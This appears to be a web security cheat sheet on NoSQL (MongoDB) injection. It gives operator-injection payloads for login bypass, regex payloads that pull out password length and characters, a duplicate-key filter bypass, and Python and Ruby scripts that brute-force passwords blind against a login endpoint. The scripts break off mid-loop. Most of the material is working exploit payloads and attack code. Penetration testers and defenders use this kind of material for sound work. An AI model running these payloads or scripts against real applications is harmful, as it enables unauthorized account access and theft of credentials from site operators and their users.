13 Payloads
2 Wordlists

NoSQL Injection Payloads & Testing Methodology

NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like `$ne`, `$gt...

NoSQL Injection#

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

Summary#

Tools#

Methodology#

NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like $ne, $gt, $regex, or $where in MongoDB.

Operator Injection#

OperatorDescription
$nenot equal
$regexregular expression
$gtgreater than
$ltlower than
$ninnot in

Example: A web application has a product search feature

js1 line
db.products.find({ "price": userInput })

An attacker can inject a NoSQL query: { "$gt": 0 }.

js1 line
db.products.find({ "price": { "$gt": 0 } })

Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.

Authentication Bypass#

Basic authentication bypass using not equal ($ne) or greater ($gt)

  • HTTP data
ps14 lines
  username[$ne]=toto&password[$ne]=toto
  login[$regex]=a.*&pass[$ne]=lol
  login[$gt]=admin&login[$lt]=test&pass[$ne]=1
  login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
  • JSON data
json4 lines
  {"username": {"$ne": null}, "password": {"$ne": null}}
  {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
  {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
  {"username": {"$gt":""}, "password": {"$gt":""}}

Extract Length Information#

Inject a payload using the $regex operator. The injection will work when the length is correct.

ps12 lines
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}

Extract Data Information#

Extract data with "$regex" query operator.

  • HTTP data
ps16 lines
  username[$ne]=toto&password[$regex]=m.{2}
  username[$ne]=toto&password[$regex]=md.{1}
  username[$ne]=toto&password[$regex]=mdp

  username[$ne]=toto&password[$regex]=m.*
  username[$ne]=toto&password[$regex]=md.*
  • JSON data
json3 lines
  {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
  {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
  {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

Extract data with "$in" query operator.

json1 line
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

WAF and Filters#

**Remove pre-condition**:

In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.

js1 line
{"id":"10", "id":"100"} 

In this case, the final value of "id" will be "100".

Blind NoSQL#

POST with JSON Body#

Python script:

python19 lines
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/json'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|']:
            payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)

POST with urlencoded Body#

Python script:

python19 lines
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""
u="http://example.org/login"
headers={'content-type': 'application/x-www-form-urlencoded'}

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','$']:
            payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)

GET#

Python script:

python18 lines
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username='admin'
password=''
u='http://example.org/login'

while True:
  for c in string.printable:
    if c not in ['*','+','.','?','|', '#', '&', '$']:
      payload=f"?username={username}&password[$regex]=^{password + c}"
      r = requests.get(u + payload)
      if 'Yeah' in r.text:

Ruby script:

ruby22 lines
require 'httpx'

username = 'admin'
password = ''
url = 'http://example.org/login'
# CHARSET = (?!..?~).to_a # all ASCII printable characters
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
session = HTTPX.plugin(:persistent)

while true
  CHARSET.each do |c|
    unless GET_EXCLUDE.include?(c)
      payload = "?username=#{username}&password[$regex]=^#{password + c}"
      res = session.get(url + payload)
      if res.body.to_s.match?('Yeah')

Labs#

References#